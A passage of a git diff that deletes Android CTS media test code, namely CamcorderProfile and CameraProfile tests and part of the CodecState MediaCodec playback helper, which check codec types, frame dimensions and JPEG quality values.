-            switch (videoProfile.getCodec()) {
-              // don't validate profile for regular codecs as vendors may use vendor specific profile
-            case MediaRecorder.VideoEncoder.H263:
-                assertEquals(MediaFormat.MIMETYPE_VIDEO_H263, videoProfile.getMediaType());
-                break;
-            case MediaRecorder.VideoEncoder.H264:
-                assertEquals(MediaFormat.MIMETYPE_VIDEO_AVC, videoProfile.getMediaType());
-                break;
-            case MediaRecorder.VideoEncoder.MPEG_4_SP:
-                assertEquals(MediaFormat.MIMETYPE_VIDEO_MPEG4, videoProfile.getMediaType());
-                break;
-            case MediaRecorder.VideoEncoder.VP8:
-                assertEquals(MediaFormat.MIMETYPE_VIDEO_VP8, videoProfile.getMediaType());
-                break;
-            case MediaRecorder.VideoEncoder.HEVC:
-                  assertEquals(MediaFormat.MIMETYPE_VIDEO_HEVC, videoProfile.getMediaType());
-                  break;
-            }
-            // Cannot validate profile as vendors may use vendor specific profile. Just read it.
-            int codecProfile = videoProfile.getProfile();
-        }
-        first = true;
-        for (EncoderProfiles.AudioProfile audioProfile : allProfiles.getAudioProfiles()) {
-            if (first) {
-                // the first profile must be the default profile which must match
-                // the corresponding CamcorderProfile
-                assertEquals(profile.audioCodec, audioProfile.getCodec());
-                assertEquals(profile.audioBitRate, audioProfile.getBitrate());
-                assertEquals(profile.audioSampleRate, audioProfile.getSampleRate());
-                assertEquals(profile.audioChannels, audioProfile.getChannels());
-                first = false;
-            }
-            assertTrue(audioProfile.getMediaType() != null);
-            switch (audioProfile.getCodec()) {
-            // don't validate profile for regular codecs as vendors may use vendor specific profile
-            case MediaRecorder.AudioEncoder.AMR_NB:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_AMR_NB, audioProfile.getMediaType());
-                break;
-            case MediaRecorder.AudioEncoder.AMR_WB:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_AMR_WB, audioProfile.getMediaType());
-                break;
-            case MediaRecorder.AudioEncoder.AAC:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, audioProfile.getMediaType());
-                break;
-            case MediaRecorder.AudioEncoder.HE_AAC:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, audioProfile.getMediaType());
-                assertEquals(MediaCodecInfo.CodecProfileLevel.AACObjectHE,
-                             audioProfile.getProfile());
-                break;
-            case MediaRecorder.AudioEncoder.AAC_ELD:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, audioProfile.getMediaType());
-                assertEquals(MediaCodecInfo.CodecProfileLevel.AACObjectELD,
-                             audioProfile.getProfile());
-                break;
-            case MediaRecorder.AudioEncoder.VORBIS:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_VORBIS, audioProfile.getMediaType());
-                break;
-            case MediaRecorder.AudioEncoder.OPUS:
-                assertEquals(MediaFormat.MIMETYPE_AUDIO_OPUS, audioProfile.getMediaType());
-                break;
-            default:
-                // there may be some extended profiles we don't know about and that's OK
-                break;
-            }
-        }
-    }
-
-    private void assertProfileEquals(CamcorderProfile expectedProfile,
-            CamcorderProfile actualProfile) {
-        assertEquals(expectedProfile.duration, actualProfile.duration);
-        assertEquals(expectedProfile.fileFormat, actualProfile.fileFormat);
-        assertEquals(expectedProfile.videoCodec, actualProfile.videoCodec);
-        assertEquals(expectedProfile.videoBitRate, actualProfile.videoBitRate);
-        assertEquals(expectedProfile.videoFrameRate, actualProfile.videoFrameRate);
-        assertEquals(expectedProfile.videoFrameWidth, actualProfile.videoFrameWidth);
-        assertEquals(expectedProfile.videoFrameHeight, actualProfile.videoFrameHeight);
-        assertEquals(expectedProfile.audioCodec, actualProfile.audioCodec);
-        assertEquals(expectedProfile.audioBitRate, actualProfile.audioBitRate);
-        assertEquals(expectedProfile.audioSampleRate, actualProfile.audioSampleRate);
-        assertEquals(expectedProfile.audioChannels, actualProfile.audioChannels);
-    }
-
-    private void checkSpecificProfileDimensions(CamcorderProfile profile, int quality) {
-        Log.v(TAG, String.format("specific profile: quality=%d, width = %d, height = %d",
-                    profile.quality, profile.videoFrameWidth, profile.videoFrameHeight));
-
-        switch (quality) {
-            case CamcorderProfile.QUALITY_QCIF:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_QCIF:
-                assertEquals(176, profile.videoFrameWidth);
-                assertEquals(144, profile.videoFrameHeight);
-                break;
-
-            case CamcorderProfile.QUALITY_CIF:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_CIF:
-                assertEquals(352, profile.videoFrameWidth);
-                assertEquals(288, profile.videoFrameHeight);
-                break;
-
-            case CamcorderProfile.QUALITY_480P:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_480P:
-                assertTrue(720 == profile.videoFrameWidth ||  // SMPTE 293M/ITU-R Rec. 601
-                           640 == profile.videoFrameWidth ||  // ATSC/NTSC (square sampling)
-                           704 == profile.videoFrameWidth);   // ATSC/NTSC (non-square sampling)
-                assertEquals(480, profile.videoFrameHeight);
-                break;
-
-            case CamcorderProfile.QUALITY_720P:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_720P:
-                assertEquals(1280, profile.videoFrameWidth);
-                assertEquals(720, profile.videoFrameHeight);
-                break;
-
-            case CamcorderProfile.QUALITY_1080P:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_1080P:
-                // 1080p could be either 1920x1088 or 1920x1080.
-                assertEquals(1920, profile.videoFrameWidth);
-                assertTrue(1088 == profile.videoFrameHeight ||
-                           1080 == profile.videoFrameHeight);
-                break;
-            case CamcorderProfile.QUALITY_2K:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_2K:
-                // 2K could be either 2048x1088 or 2048x1080
-                assertEquals(2048, profile.videoFrameWidth);
-                assertTrue(1088 == profile.videoFrameHeight ||
-                           1080 == profile.videoFrameHeight);
-                break;
-            case CamcorderProfile.QUALITY_QHD:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_QHD:
-                assertEquals(2560, profile.videoFrameWidth);
-                assertEquals(1440, profile.videoFrameHeight);
-                break;
-            case CamcorderProfile.QUALITY_2160P:
-            case CamcorderProfile.QUALITY_TIME_LAPSE_2160P:
-                assertEquals(3840, profile.videoFrameWidth);
-                assertEquals(2160, profile.videoFrameHeight);
-                break;
-            case CamcorderProfile.QUALITY_HIGH_SPEED_480P:
-                assertTrue(720 == profile.videoFrameWidth ||  // SMPTE 293M/ITU-R Rec. 601
-                640 == profile.videoFrameWidth ||  // ATSC/NTSC (square sampling)
-                704 == profile.videoFrameWidth);   // ATSC/NTSC (non-square sampling)
-                assertEquals(480, profile.videoFrameHeight);
-                assertTrue(profile.videoFrameRate >= MIN_HIGH_SPEED_FPS);
-                break;
-            case CamcorderProfile.QUALITY_HIGH_SPEED_720P:
-                assertEquals(1280, profile.videoFrameWidth);
-                assertEquals(720, profile.videoFrameHeight);
-                assertTrue(profile.videoFrameRate >= MIN_HIGH_SPEED_FPS);
-                break;
-            case CamcorderProfile.QUALITY_HIGH_SPEED_1080P:
-                // 1080p could be either 1920x1088 or 1920x1080.
-                assertEquals(1920, profile.videoFrameWidth);
-                assertTrue(1088 == profile.videoFrameHeight ||
-                           1080 == profile.videoFrameHeight);
-                assertTrue(profile.videoFrameRate >= MIN_HIGH_SPEED_FPS);
-                break;
-        }
-    }
-
-    // Checks if the existing specific profiles have the correct dimensions.
-    // Also checks that the mimimum quality specific profile matches the low profile and
-    // similarly that the maximum quality specific profile matches the high profile.
-    private void checkSpecificProfiles(
-            int cameraId,
-            CamcorderProfile low,
-            CamcorderProfile high,
-            int[] specificQualities,
-            List<Size> videoSizes) {
-
-        // For high speed levels, low and high quality are optional,skip the test if
-        // they are missing.
-        if (low == null && high == null) {
-            // No profile should be available if low and high are unavailable.
-            for (int quality : specificQualities) {
-                assertFalse(CamcorderProfile.hasProfile(cameraId, quality));
-            }
-            return;
-        }
-
-        CamcorderProfile minProfile = null;
-        CamcorderProfile maxProfile = null;
-
-        for (int i = 0; i < specificQualities.length; i++) {
-            int quality = specificQualities[i];
-            if ((cameraId != -1 && CamcorderProfile.hasProfile(cameraId, quality)) ||
-                (cameraId == -1 && CamcorderProfile.hasProfile(quality))) {
-                CamcorderProfile profile = getWithOptionalId(quality, cameraId);
-                checkSpecificProfileDimensions(profile, quality);
-
-                assertTrue(isSizeSupported(profile.videoFrameWidth,
-                                           profile.videoFrameHeight,
-                                           videoSizes));
-
-                if (minProfile == null) {
-                    minProfile = profile;
-                }
-                maxProfile = profile;
-            }
-        }
-
-        assertNotNull(minProfile);
-        assertNotNull(maxProfile);
-
-        Log.v(TAG, String.format("min profile: quality=%d, width = %d, height = %d",
-                    minProfile.quality, minProfile.videoFrameWidth, minProfile.videoFrameHeight));
-        Log.v(TAG, String.format("max profile: quality=%d, width = %d, height = %d",
-                    maxProfile.quality, maxProfile.videoFrameWidth, maxProfile.videoFrameHeight));
-
-        assertProfileEquals(low, minProfile);
-        assertProfileEquals(high, maxProfile);
-
-    }
-
-    private void checkGet(int cameraId) {
-        Log.v(TAG, (cameraId == -1)
-                   ? "Checking get without id"
-                   : "Checking get with id = " + cameraId);
-
-        final List<Size> videoSizes = getSupportedVideoSizes(cameraId);
-
-        /**
-         * Check all possible supported profiles: get profile should work, and the profile
-         * should be sane. Note that, timelapse and high speed video sizes may not be listed
-         * as supported video sizes from camera, skip the size check.
-         */
-        for (Integer quality : ALL_SUPPORTED_QUALITIES) {
-            if (CamcorderProfile.hasProfile(cameraId, quality) || isProfileMandatory(quality)) {
-                List<Size> videoSizesToCheck = null;
-                if (quality >= CamcorderProfile.QUALITY_LOW &&
-                                quality <= CamcorderProfile.QUALITY_2K) {
-                    videoSizesToCheck = videoSizes;
-                }
-                CamcorderProfile profile = getWithOptionalId(quality, cameraId);
-                checkProfile(profile, videoSizesToCheck);
-                if (cameraId >= 0) {
-                    EncoderProfiles allProfiles =
-                        CamcorderProfile.getAll(String.valueOf(cameraId), quality);
-                    checkAllProfiles(allProfiles, profile, videoSizesToCheck);
-                }
-            }
-        }
-
-        /**
-         * Check unknown profiles: hasProfile() should return false.
-         */
-        for (Integer quality : UNKNOWN_QUALITIES) {
-            assertFalse("Unknown profile quality " + quality + " shouldn't be supported by camera "
-                    + cameraId, CamcorderProfile.hasProfile(cameraId, quality));
-        }
-
-        // High speed low and high profile are optional,
-        // but they should be both present or missing.
-        CamcorderProfile lowHighSpeedProfile = null;
-        CamcorderProfile highHighSpeedProfile = null;
-        if (CamcorderProfile.hasProfile(cameraId, CamcorderProfile.QUALITY_HIGH_SPEED_LOW)) {
-            lowHighSpeedProfile =
-                    getWithOptionalId(CamcorderProfile.QUALITY_HIGH_SPEED_LOW, cameraId);
-        }
-        if (CamcorderProfile.hasProfile(cameraId, CamcorderProfile.QUALITY_HIGH_SPEED_HIGH)) {
-            highHighSpeedProfile =
-                    getWithOptionalId(CamcorderProfile.QUALITY_HIGH_SPEED_HIGH, cameraId);
-        }
-        if (lowHighSpeedProfile != null) {
-            assertNotNull("high speed high quality profile should be supported if low" +
-                    " is supported ",
-                    highHighSpeedProfile);
-            checkProfile(lowHighSpeedProfile, null);
-            checkProfile(highHighSpeedProfile, null);
-        } else {
-            assertNull("high speed high quality profile shouldn't be supported if " +
-                    "low is unsupported ", highHighSpeedProfile);
-        }
-
-        int[] specificProfileQualities = {CamcorderProfile.QUALITY_QCIF,
-                                          CamcorderProfile.QUALITY_QVGA,
-                                          CamcorderProfile.QUALITY_CIF,
-                                          CamcorderProfile.QUALITY_480P,
-                                          CamcorderProfile.QUALITY_720P,
-                                          CamcorderProfile.QUALITY_1080P,
-                                          CamcorderProfile.QUALITY_2K,
-                                          CamcorderProfile.QUALITY_QHD,
-                                          CamcorderProfile.QUALITY_2160P};
-
-        int[] specificTimeLapseProfileQualities = {CamcorderProfile.QUALITY_TIME_LAPSE_QCIF,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_QVGA,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_CIF,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_480P,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_720P,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_1080P,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_2K,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_QHD,
-                                                   CamcorderProfile.QUALITY_TIME_LAPSE_2160P};
-
-        int[] specificHighSpeedProfileQualities = {CamcorderProfile.QUALITY_HIGH_SPEED_480P,
-                                                   CamcorderProfile.QUALITY_HIGH_SPEED_720P,
-                                                   CamcorderProfile.QUALITY_HIGH_SPEED_1080P,
-                                                   CamcorderProfile.QUALITY_HIGH_SPEED_2160P};
-
-        CamcorderProfile lowProfile =
-                getWithOptionalId(CamcorderProfile.QUALITY_LOW, cameraId);
-        CamcorderProfile highProfile =
-                getWithOptionalId(CamcorderProfile.QUALITY_HIGH, cameraId);
-        CamcorderProfile lowTimeLapseProfile =
-                getWithOptionalId(CamcorderProfile.QUALITY_TIME_LAPSE_LOW, cameraId);
-        CamcorderProfile highTimeLapseProfile =
-                getWithOptionalId(CamcorderProfile.QUALITY_TIME_LAPSE_HIGH, cameraId);
-        checkSpecificProfiles(cameraId, lowProfile, highProfile,
-                specificProfileQualities, videoSizes);
-        checkSpecificProfiles(cameraId, lowTimeLapseProfile, highTimeLapseProfile,
-                specificTimeLapseProfileQualities, null);
-        checkSpecificProfiles(cameraId, lowHighSpeedProfile, highHighSpeedProfile,
-                specificHighSpeedProfileQualities, null);
-    }
-
-    public void testGet() {
-        /*
-         * Device may not have rear camera for checkGet(-1).
-         * Checking PackageManager.FEATURE_CAMERA is included or not to decide the flow.
-         * Continue if the feature is included.
-         * Otherwise, exit test.
-         */
-        PackageManager pm = mContext.getPackageManager();
-        if (!pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
-            return;
-        }
-        checkGet(-1);
-    }
-
-    public void testGetWithId() {
-        int nCamera = Camera.getNumberOfCameras();
-        for (int cameraId = 0; cameraId < nCamera; cameraId++) {
-            boolean isExternal = false;
-            try {
-                isExternal = CameraUtils.isExternal(mContext, cameraId);
-            } catch (Exception e) {
-                Log.e(TAG, "Unable to query external camera: " + e);
-            }
-
-            if (!isExternal) {
-                checkGet(cameraId);
-            }
-        }
-    }
-
-    private List<Size> getSupportedVideoSizes(int cameraId) {
-        Camera camera = (cameraId == -1)? Camera.open(): Camera.open(cameraId);
-        Parameters parameters = camera.getParameters();
-        List<Size> videoSizes = parameters.getSupportedVideoSizes();
-        if (videoSizes == null) {
-            videoSizes = parameters.getSupportedPreviewSizes();
-            assertNotNull(videoSizes);
-        }
-        camera.release();
-        return videoSizes;
-    }
-
-    private boolean isSizeSupported(int width, int height, List<Size> sizes) {
-        if (sizes == null) return true;
-
-        for (Size size: sizes) {
-            if (size.width == width && size.height == height) {
-                return true;
-            }
-        }
-        Log.e(TAG, "Size (" + width + "x" + height + ") is not supported");
-        return false;
-    }
-
-    private boolean isProfileMandatory(int quality) {
-        return (quality == CamcorderProfile.QUALITY_LOW) ||
-                (quality == CamcorderProfile.QUALITY_HIGH) ||
-                (quality == CamcorderProfile.QUALITY_TIME_LAPSE_LOW) ||
-                (quality == CamcorderProfile.QUALITY_TIME_LAPSE_HIGH);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/CameraProfileTest.java b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
deleted file mode 100644
index 9949c73..0000000
--- a/tests/tests/media/src/android/media/cts/CameraProfileTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-
-import android.hardware.Camera;
-import android.media.CameraProfile;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.util.List;
-
-@NonMediaMainlineTest
-public class CameraProfileTest extends AndroidTestCase {
-
-    private static final String TAG = "CameraProfileTest";
-
-    private void checkQuality(int low, int mid, int high) {
-        Log.v(TAG, "low = " + low + ", mid = " + mid + ", high = " + high);
-        assertTrue(low >= 0 && low <= 100);
-        assertTrue(mid >= 0 && mid <= 100);
-        assertTrue(high >= 0 && high <= 100);
-        assertTrue(low <= mid && mid <= high);
-    }
-
-    public void testGetImageEncodingQualityParameter() {
-        int low = CameraProfile.getJpegEncodingQualityParameter(CameraProfile.QUALITY_LOW);
-        int mid = CameraProfile.getJpegEncodingQualityParameter(CameraProfile.QUALITY_MEDIUM);
-        int high = CameraProfile.getJpegEncodingQualityParameter(CameraProfile.QUALITY_HIGH);
-        checkQuality(low, mid, high);
-    }
-
-    public void testGetWithId() {
-        int nCamera = Camera.getNumberOfCameras();
-        for (int id = 0; id < nCamera; id++) {
-            int low = CameraProfile.getJpegEncodingQualityParameter(id, CameraProfile.QUALITY_LOW);
-            int mid = CameraProfile.getJpegEncodingQualityParameter(id, CameraProfile.QUALITY_MEDIUM);
-            int high = CameraProfile.getJpegEncodingQualityParameter(id, CameraProfile.QUALITY_HIGH);
-            checkQuality(low, mid, high);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
deleted file mode 100644
index 0237d2e..0000000
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ /dev/null
@@ -1,533 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.media.MediaCodec;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.util.Log;
-import android.view.Surface;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.LinkedList;
-
-/**
- * Class for directly managing both audio and video playback by
- * using {@link MediaCodec} and {@link AudioTrack}.
- */
-public class CodecState {
-    private static final String TAG = CodecState.class.getSimpleName();
-
-    private boolean mSawInputEOS;
-    private volatile boolean mSawOutputEOS;
-    private boolean mLimitQueueDepth;
-    private boolean mTunneled;
-    private boolean mIsAudio;
-    private int mAudioSessionId;
-    private ByteBuffer[] mCodecInputBuffers;
-    private ByteBuffer[] mCodecOutputBuffers;
-    private int mTrackIndex;
-    private int mAvailableInputBufferIndex;
-    private LinkedList<Integer> mAvailableOutputBufferIndices;
-    private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
-    private volatile long mPresentationTimeUs;
-    private long mFirstSampleTimeUs;
-    private long mPlaybackStartTimeUs;
-    private long mLastPresentTimeUs;
-    private MediaCodec mCodec;
-    private MediaTimeProvider mMediaTimeProvider;
-    private MediaExtractor mExtractor;
-    private MediaFormat mFormat;
-    private MediaFormat mOutputFormat;
-    private NonBlockingAudioTrack mAudioTrack;
-    private volatile OnFrameRenderedListener mOnFrameRenderedListener;
-    /** A list of reported rendered video frames' timestamps. */
-    private ArrayList<Long> mRenderedVideoFrameTimestampList;
-    private boolean mFirstTunnelFrameReady;
-    private volatile OnFirstTunnelFrameReadyListener mOnFirstTunnelFrameReadyListener;
-
-
-    /** If true the video/audio will start from the beginning when it reaches the end. */
-    private boolean mLoopEnabled = false;
-
-    /**
-     * Manages audio and video playback using MediaCodec and AudioTrack.
-     */
-    public CodecState(
-            MediaTimeProvider mediaTimeProvider,
-            MediaExtractor extractor,
-            int trackIndex,
-            MediaFormat format,
-            MediaCodec codec,
-            boolean limitQueueDepth,
-            boolean tunneled,
-            int audioSessionId) {
-        mMediaTimeProvider = mediaTimeProvider;
-        mExtractor = extractor;
-        mTrackIndex = trackIndex;
-        mFormat = format;
-        mSawInputEOS = mSawOutputEOS = false;
-        mLimitQueueDepth = limitQueueDepth;
-        mTunneled = tunneled;
-        mAudioSessionId = audioSessionId;
-        mFirstSampleTimeUs = -1;
-        mPlaybackStartTimeUs = 0;
-        mLastPresentTimeUs = 0;
-
-        mCodec = codec;
-
-        mAvailableInputBufferIndex = -1;
-        mAvailableOutputBufferIndices = new LinkedList<Integer>();
-        mAvailableOutputBufferInfos = new LinkedList<MediaCodec.BufferInfo>();
-        mRenderedVideoFrameTimestampList = new ArrayList<Long>();
-
-        mPresentationTimeUs = 0;
-
-        mFirstTunnelFrameReady = false;
-
-        String mime = mFormat.getString(MediaFormat.KEY_MIME);
-        Log.d(TAG, "CodecState::CodecState " + mime);
-        mIsAudio = mime.startsWith("audio/");
-
-        if (mTunneled && !mIsAudio) {
-            mOnFrameRenderedListener = new OnFrameRenderedListener();
-            codec.setOnFrameRenderedListener(mOnFrameRenderedListener,
-                                             new Handler(Looper.getMainLooper()));
-            mOnFirstTunnelFrameReadyListener = new OnFirstTunnelFrameReadyListener();
-            codec.setOnFirstTunnelFrameReadyListener(new Handler(Looper.getMainLooper()),
-                    mOnFirstTunnelFrameReadyListener);
-        }
-    }
-
-    public void release() {
-        mCodec.stop();
-        mCodecInputBuffers = null;
-        mCodecOutputBuffers = null;
-        mOutputFormat = null;
-
-        mAvailableOutputBufferIndices.clear();
-        mAvailableOutputBufferInfos.clear();
-
-        mAvailableInputBufferIndex = -1;
-        mAvailableOutputBufferIndices = null;
-        mAvailableOutputBufferInfos = null;
-
-        if (mOnFrameRenderedListener != null) {
-            mCodec.setOnFrameRenderedListener(null, null);
-            mOnFrameRenderedListener = null;
-        }
-        if (mOnFirstTunnelFrameReadyListener != null) {
-            mCodec.setOnFirstTunnelFrameReadyListener(null, null);
-            mOnFirstTunnelFrameReadyListener = null;
-        }
-
-        mCodec.release();
-        mCodec = null;
-
-        if (mAudioTrack != null) {
-            mAudioTrack.release();
-            mAudioTrack = null;
-        }
-    }
-
-    public void start() {
-        mCodec.start();
-        mCodecInputBuffers = mCodec.getInputBuffers();
-        if (!mTunneled || mIsAudio) {
-            mCodecOutputBuffers = mCodec.getOutputBuffers();
-        }
-
-        if (mAudioTrack != null) {
-            mAudioTrack.play();
-        }
-    }
-
-    public void pause() {
-        if (mAudioTrack != null) {
-            mAudioTrack.pause();
-        }
-    }
-
-    public long getCurrentPositionUs() {
-        return mPresentationTimeUs;
-    }
-
-    public void flush() {
-        if (!mTunneled || mIsAudio) {
-            mAvailableOutputBufferIndices.clear();
-            mAvailableOutputBufferInfos.clear();
-        }
-
-        mAvailableInputBufferIndex = -1;
-        mSawInputEOS = false;
-        mSawOutputEOS = false;
-
-        if (mAudioTrack != null
-                && mAudioTrack.getPlayState() != AudioTrack.PLAYSTATE_PLAYING) {
-            mAudioTrack.flush();
-        }
-
-        mCodec.flush();
-        mPresentationTimeUs = 0;
-        mRenderedVideoFrameTimestampList = new ArrayList<Long>();
-        mFirstTunnelFrameReady = false;
-    }
-
-    public boolean isEnded() {
-        return mSawInputEOS && mSawOutputEOS;
-    }
-
-    /** @see #doSomeWork(Boolean) */
-    public Long doSomeWork() {
-        return doSomeWork(false /* mustWait */);
-    }
-
-    /**
-     * {@code doSomeWork} is the worker function that does all buffer handling and decoding works.
-     * It first reads data from {@link MediaExtractor} and pushes it into {@link MediaCodec}; it
-     * then dequeues buffer from {@link MediaCodec}, consumes it and pushes back to its own buffer
-     * queue for next round reading data from {@link MediaExtractor}.
-     *
-     * @param boolean  Whether to block on input buffer retrieval
-     *
-     * @return timestamp of the queued frame, if any.
-     */
-    public Long doSomeWork(boolean mustWait) {
-        // Extract input data, if relevant
-        Long sampleTime = null;
-        if (mAvailableInputBufferIndex == -1) {
-            int indexInput = mCodec.dequeueInputBuffer(mustWait ? -1 : 0 /* timeoutUs */);
-            if (indexInput != MediaCodec.INFO_TRY_AGAIN_LATER) {
-                mAvailableInputBufferIndex = indexInput;
-            }
-        }
-        if (mAvailableInputBufferIndex != -1) {
-            sampleTime = feedInputBuffer(mAvailableInputBufferIndex);
-            if (sampleTime != null) {
-                mAvailableInputBufferIndex = -1;
-            }
-        }
-
-        // Queue output data, if relevant
-        if (mIsAudio || !mTunneled) {
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            int indexOutput = mCodec.dequeueOutputBuffer(info, 0 /* timeoutUs */);
-
-            if (indexOutput == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                mOutputFormat = mCodec.getOutputFormat();
-                onOutputFormatChanged();
-            } else if (indexOutput == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                mCodecOutputBuffers = mCodec.getOutputBuffers();
-            } else if (indexOutput != MediaCodec.INFO_TRY_AGAIN_LATER) {
-                mAvailableOutputBufferIndices.add(indexOutput);
-                mAvailableOutputBufferInfos.add(info);
-            }
-
-            while (drainOutputBuffer()) {
-            }
-        }
-
-        return sampleTime;
-    }
-
-    public void setLoopEnabled(boolean enabled) {
-        mLoopEnabled = enabled;
-    }
-
-    /**
-     * Extracts some data from the configured MediaExtractor and feeds it to the configured
-     * MediaCodec.
-     *
-     * Returns the timestamp of the queued buffer, if any.
-     * Returns null once all data has been extracted and queued.
-     */
-    private Long feedInputBuffer(int inputBufferIndex)
-            throws MediaCodec.CryptoException, IllegalStateException {
-        if (mSawInputEOS || inputBufferIndex == -1) {
-            return null;
-        }
-
-        // stalls read if audio queue is larger than 2MB full so we will not occupy too much heap
-        if (mLimitQueueDepth && mAudioTrack != null &&
-                mAudioTrack.getNumBytesQueued() > 2 * 1024 * 1024) {
-            return null;
-        }
-
-        ByteBuffer codecData = mCodecInputBuffers[inputBufferIndex];
-
-        int trackIndex = mExtractor.getSampleTrackIndex();
-
-        if (trackIndex == mTrackIndex) {
-            int sampleSize =
-                mExtractor.readSampleData(codecData, 0 /* offset */);
-
-            long sampleTime = mExtractor.getSampleTime();
-
-            int sampleFlags = mExtractor.getSampleFlags();
-
-            if (sampleSize <= 0) {
-                Log.d(TAG, "sampleSize: " + sampleSize + " trackIndex:" + trackIndex +
-                        " sampleTime:" + sampleTime + " sampleFlags:" + sampleFlags);
-                mSawInputEOS = true;
-                return null;
-            }
-
-            if (mTunneled && !mIsAudio) {
-                if (mFirstSampleTimeUs == -1) {
-                    mFirstSampleTimeUs = sampleTime;
-                }
-                sampleTime -= mFirstSampleTimeUs;
-            }
-
-            mLastPresentTimeUs = mPlaybackStartTimeUs + sampleTime;
-
-            if ((sampleFlags & MediaExtractor.SAMPLE_FLAG_ENCRYPTED) != 0) {
-                MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
-                mExtractor.getSampleCryptoInfo(info);
-
-                mCodec.queueSecureInputBuffer(
-                        inputBufferIndex, 0 /* offset */, info, mLastPresentTimeUs, 0 /* flags */);
-            } else {
-                mCodec.queueInputBuffer(
-                        inputBufferIndex, 0 /* offset */, sampleSize, mLastPresentTimeUs, 0 /* flags */);
-            }
-
-            mExtractor.advance();
-            return mLastPresentTimeUs;
-        } else if (trackIndex < 0) {
-            Log.d(TAG, "saw input EOS on track " + mTrackIndex);
-
-            if (mLoopEnabled) {
-                Log.d(TAG, "looping from the beginning");
-                mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-                mPlaybackStartTimeUs = mLastPresentTimeUs;
-                return null;
-            }
-
-            mSawInputEOS = true;
-            mCodec.queueInputBuffer(
-                    inputBufferIndex, 0 /* offset */, 0 /* sampleSize */,
-                    0 /* sampleTime */, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-        }
-
-        return null;
-    }
-
-    private void onOutputFormatChanged() {
-        String mime = mOutputFormat.getString(MediaFormat.KEY_MIME);
-        // b/9250789
-        Log.d(TAG, "CodecState::onOutputFormatChanged " + mime);
-
-        mIsAudio = false;
-        if (mime.startsWith("audio/")) {
-            mIsAudio = true;
-            int sampleRate =
-                mOutputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-
-            int channelCount =
-                mOutputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-
-            Log.d(TAG, "CodecState::onOutputFormatChanged Audio" +
-                    " sampleRate:" + sampleRate + " channels:" + channelCount);
-            // We do a check here after we receive data from MediaExtractor and before
-            // we pass them down to AudioTrack. If MediaExtractor works properly, this
-            // check is not necessary, however, in our tests, we found that there
-            // are a few cases where ch=0 and samplerate=0 were returned by MediaExtractor.
-            if (channelCount < 1 || channelCount > 8 ||
-                    sampleRate < 8000 || sampleRate > 128000) {
-                return;
-            }
-            mAudioTrack = new NonBlockingAudioTrack(sampleRate, channelCount,
-                                    mTunneled, mAudioSessionId);
-            mAudioTrack.play();
-        }
-
-        if (mime.startsWith("video/")) {
-            int width = mOutputFormat.getInteger(MediaFormat.KEY_WIDTH);
-            int height = mOutputFormat.getInteger(MediaFormat.KEY_HEIGHT);
-            Log.d(TAG, "CodecState::onOutputFormatChanged Video" +
-                    " width:" + width + " height:" + height);
-        }
-    }
-
-    /** Returns true if more output data could be drained. */
-    private boolean drainOutputBuffer() {
-        if (mSawOutputEOS || mAvailableOutputBufferIndices.isEmpty()) {
-            return false;
-        }
-
-        int index = mAvailableOutputBufferIndices.peekFirst().intValue();
-        MediaCodec.BufferInfo info = mAvailableOutputBufferInfos.peekFirst();
-
